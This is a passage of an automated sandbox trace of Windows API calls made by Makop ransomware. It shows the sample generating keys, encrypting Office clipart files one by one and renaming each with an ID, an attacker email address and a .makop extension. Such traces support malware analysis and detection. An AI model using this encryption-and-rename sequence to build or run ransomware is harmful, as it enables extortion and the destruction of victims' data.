hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.753] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.753] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.754] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.754] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.755] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.755] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.755] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.755] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa086, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa086, lpOverlapped=0x0) returned 1 [0131.757] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa090, dwBufLen=0xa090 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa090) returned 1 [0131.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.757] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa090, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa090, lpOverlapped=0x0) returned 1 [0131.758] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.758] SetEndOfFile (hFile=0xf0) returned 1 [0131.764] GetProcessHeap () returned 0x48a0000 [0131.764] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.764] GetProcessHeap () returned 0x48a0000 [0131.764] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.764] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.766] CloseHandle (hObject=0xf0) returned 1 [0131.766] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5779c00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5779c00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x380a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232795.WMF", cAlternateFileName="")) returned 1 [0131.766] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF") returned 63 [0131.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.767] GetProcessHeap () returned 0x48a0000 [0131.767] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.767] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.768] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0131.774] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.774] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.774] GetProcessHeap () returned 0x48a0000 [0131.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.775] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.775] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.775] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.775] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.775] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.775] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.776] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.776] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.776] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x380a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x380a, lpOverlapped=0x0) returned 1 [0131.777] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3810, dwBufLen=0x3810 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3810) returned 1 [0131.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.778] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3810, lpOverlapped=0x0) returned 1 [0131.778] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.778] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x38e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.778] SetEndOfFile (hFile=0xf0) returned 1 [0131.785] GetProcessHeap () returned 0x48a0000 [0131.785] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.785] GetProcessHeap () returned 0x48a0000 [0131.786] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.786] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.788] CloseHandle (hObject=0xf0) returned 1 [0131.788] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d7d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d7d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x899c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232797.WMF", cAlternateFileName="")) returned 1 [0131.788] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF") returned 63 [0131.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.789] GetProcessHeap () returned 0x48a0000 [0131.789] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.789] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.789] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.789] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.794] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.794] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.794] GetProcessHeap () returned 0x48a0000 [0131.794] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.794] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.794] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.794] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.794] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.795] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.795] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.795] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.795] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.795] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.795] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x899c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x899c, lpOverlapped=0x0) returned 1 [0131.797] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x89a0, dwBufLen=0x89a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x89a0) returned 1 [0131.798] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.798] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x89a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x89a0, lpOverlapped=0x0) returned 1 [0131.798] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.798] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.799] SetEndOfFile (hFile=0xf0) returned 1 [0131.807] GetProcessHeap () returned 0x48a0000 [0131.807] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.807] GetProcessHeap () returned 0x48a0000 [0131.807] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.807] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.809] CloseHandle (hObject=0xf0) returned 1 [0131.809] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e804d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e804d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232803.WMF", cAlternateFileName="")) returned 1 [0131.810] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned 63 [0131.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.811] GetProcessHeap () returned 0x48a0000 [0131.811] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.811] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.811] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.812] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0131.816] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.816] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.816] GetProcessHeap () returned 0x48a0000 [0131.816] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.816] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.816] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.816] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.816] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.817] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.817] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.818] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.818] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.818] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.818] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4de6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4de6, lpOverlapped=0x0) returned 1 [0131.820] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4df0, dwBufLen=0x4df0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4df0) returned 1 [0131.820] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.820] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4df0, lpOverlapped=0x0) returned 1 [0131.820] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.821] SetEndOfFile (hFile=0xf0) returned 1 [0131.827] GetProcessHeap () returned 0x48a0000 [0131.827] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.827] GetProcessHeap () returned 0x48a0000 [0131.827] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.827] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.829] CloseHandle (hObject=0xf0) returned 1 [0131.829] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233512.WMF", cAlternateFileName="")) returned 1 [0131.829] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned 63 [0131.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.830] GetProcessHeap () returned 0x48a0000 [0131.830] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.830] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.830] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, 